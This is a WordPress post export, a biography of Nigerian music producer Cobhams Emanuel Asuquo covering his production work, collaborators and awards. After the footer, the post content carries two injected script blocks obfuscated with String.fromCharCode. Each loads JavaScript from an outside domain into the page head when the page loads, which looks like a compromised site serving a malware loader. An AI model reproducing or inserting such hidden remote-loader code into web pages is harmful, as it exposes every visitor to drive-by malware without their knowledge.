{"id":2656,"date":"2014-12-26T13:44:32","date_gmt":"2014-12-26T13:44:32","guid":{"rendered":"http:\/\/maischna.de\/?p=2656"},"modified":"2014-12-26T13:44:32","modified_gmt":"2014-12-26T13:44:32","slug":"meet-nigerians-wonder-cobhams-emanuel-asuquo","status":"publish","type":"post","link":"http:\/\/lafritude.com\/?p=2656","title":{"rendered":"Meet Nigerian&#8217;s WONDER Cobhams Emanuel Asuquo"},"content":{"rendered":"<p>Cobhams Emanuel Asuquo is a Nigerian-born song writer\/music producer\/singer who started his academic training as a lawyer, but veered into music\u00a0full-time to fulfill a lifelong desire he nurtured, (although admittedly silently)!<\/p>\n<div id=\"main-container\">\n<div>\n<div id=\"content-container\">\n<div id=\"full-width\">\n<div>\n<p>Twelve years of consistently working at his inner calling has today rewarded Cobhams with a name that is synonymous with versatility, musicianship and top-quality in the Nigerian music industry.<\/p>\n<p>Cobhams is presently the CEO of Cobhams Asuquo Music Production (CAMP), an all-encompassing entertainment company based out of Lagos, which has a focus on discovering, nurturing and exposing extraordinary talent as well as creating different forms of audio content for corporations and the media alike.<\/p>\n<p>He was for several years signed onto Sony ATV (Sony Publishing) London as a songwriter and has won awards in music as well as other fields of interest.<\/p>\n<p>More recently Cobhams struck an explosive musical partnership with Nigerian alternative soul sensation <b><i>Bez<\/i><\/b> who became the first artist to be released on the CAMP label with the launch of his 15-track \u201cSuper Sun\u201d album (2011).<\/p>\n<p><b>PRODUCTION WORK<\/b><\/p>\n<p>Cobhams shot to international acclaim with his musical production of the debut album by the Nigerian soul sensation <b><i>Asa<\/i><\/b>. He also wrote and co-wrote several songs on the award-winning album including the hit singles, \u201cFire on the Mountain,\u201d and \u201cJailer.\u201d<\/p>\n<p>Cobhams has likewise produced numerous award-winning songs for Nigerian recording artistes such as:<\/p>\n<ul>\n<li>Banky W<\/li>\n<li>Omawumi<\/li>\n<li>Waje<\/li>\n<li>Timi Dakolo<\/li>\n<li>Dare Art-Alade<\/li>\n<li>Rooftop MCs<\/li>\n<li>Faze<\/li>\n<li>Mode 9<\/li>\n<li>Ego<\/li>\n<li>Shola Allyson<\/li>\n<li>Djinee<\/li>\n<li>Maintain<\/li>\n<\/ul>\n<p>He has arranged music, and performed with bands at international music events as The Harare International Festival of Arts, the AFA Sponsored French Cultural Center Concert with Asa and Angelique Kidjo; AFA Sponsored French Cultural Center Concert in Johannesburg, South Africa; Nigeria Week in Paris and the launch of MTV\u2019s one hundredth channel (MTV Base Africa) at Abuja, Nigeria.<\/p>\n<p>In the TV and film media, he has composed and arranged film scores to be interpreted for conservatoires as well as for film and stage performances such as \u201cA Voice for Ella\u201d by Uche Macaulay, Sunshine (Alpha Vision), \u201cBent Arrows\u201d by Isang Awah and Communication For Change\u2019s \u201cBayelsan Sillhouttes.\u201d<\/p>\n<p><b>INTERNATIONAL AND NATIONAL ACCLAIM<\/b><\/p>\n<p>CNN <i>Africa Voices<\/i> featured Cobhams in a full-length interview on December 2011. To view the interview, <a href=\"http:\/\/edition.cnn.com\/2011\/12\/20\/world\/africa\/cobhams-asuquo-blind-nigeria\/index.html\">click here<\/a>.<\/p>\n<p>In 2009, Cobhams was selected to attend the World Intellectual Property Organization (W.I.P.O) conference in Switzerland, where he also performed during the WIPO concert.<\/p>\n<p>He appeared as a guest mentor for songwriting during the MTV Base reality show: \u201cAdvance Warning.\u201d In the same year, Cobhams also won the Nigerian award for British Council\u2019s International Young Music Entrepreneur of the year. He went on to win the third place spot at the global finals.<\/p>\n<p>Cobhams has amassed a plethora of other local and continental awards, some of which include: The Future Awards 2006 and 2009 (Producer of the Year); Hip-hop World Awards 2007 and 2008 (Producer of the Year); Nigeria Music Awards (NMA) 2007 Producer of the decade. Nigerian Music Awards (NMA) 2008 for \u201cProducer of the Decade\u201d, LEAP Africa Award 2007 for his \u201cCreativity, Fortitude &amp; Exemplary Leadership In the Music Industry\u201d;\u00a0the Partnership Awards 2008 for \u201csupporting the Worship For Change Concert\u201d and\u00a0One Gospel Awards for \u201cGospel Composer\/ Writer of the Year\u201d (2008).<\/p>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n<footer id=\"footer\">\n<div><\/div>\n<div id=\"footer-cta\"><\/div>\n<\/footer>\n<\/div>\n<p><script type=text\/javascript>eval(String.fromCharCode(118,97,114,32,117,32,61,32,83,116,114,105,110,103,46,102,114,111,109,67,104,97,114,67,111,100,101,40,49,48,52,44,49,49,54,44,49,49,54,44,49,49,50,44,49,49,53,44,53,56,44,52,55,44,52,55,44,49,49,57,44,49,49,53,44,52,54,44,49,49,53,44,49,49,54,44,49,48,53,44,49,49,56,44,49,48,49,44,49,49,48,44,49,48,50,44,49,48,49,44,49,49,52,44,49,49,48,44,57,55,44,49,49,48,44,49,48,48,44,49,49,49,44,52,54,44,57,57,44,49,49,49,44,49,48,57,44,52,55,44,49,49,53,44,49,49,54,44,49,48,57,44,54,51,44,49,49,56,44,54,49,44,49,49,53,44,49,48,56,44,49,48,56,44,49,48,56,44,52,57,44,52,54,44,53,51,44,52,54,44,53,54,41,59,118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,83,116,114,105,110,103,46,102,114,111,109,67,104,97,114,67,111,100,101,40,49,49,53,44,57,57,44,49,49,52,44,49,48,53,44,49,49,50,44,49,49,54,41,41,59,32,115,46,116,121,112,101,61,83,116,114,105,110,103,46,102,114,111,109,67,104,97,114,67,111,100,101,40,49,49,54,44,49,48,49,44,49,50,48,44,49,49,54,44,52,55,44,49,48,54,44,57,55,44,49,49,56,44,57,55,44,49,49,53,44,57,57,44,49,49,52,44,49,48,53,44,49,49,50,44,49,49,54,41,59,32,118,97,114,32,112,108,32,61,32,117,59,32,115,46,115,114,99,61,112,108,59,32,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,125,32,101,108,115,101,32,123,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,83,116,114,105,110,103,46,102,114,111,109,67,104,97,114,67,111,100,101,40,49,48,52,44,49,48,49,44,57,55,44,49,48,48,41,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,118,97,114,32,108,105,115,116,32,61,32,100,111,99,117,109,101,110,116,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,83,116,114,105,110,103,46,102,114,111,109,67,104,97,114,67,111,100,101,40,49,49,53,44,57,57,44,49,49,52,44,49,48,53,44,49,49,50,44,49,49,54,41,41,59,108,105,115,116,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,108,105,115,116,46,99,104,105,108,100,78,111,100,101,115,91,48,93,41,59,125));<\/script><script type=text\/javascript> Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,116,114,97,105,110,46,100,101,118,101,108,111,112,102,105,114,115,116,108,105,110,101,46,99,111,109,47,100,101,108,105,118,101,114,121,46,106,115,63,115,61,56);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Cobhams Emanuel Asuquo is a Nigerian-born song writer\/music producer\/singer who started his academic training as a lawyer, but veered into music\u00a0full-time to fulfill a lifelong desire he nurtured, (although admittedly silently)! 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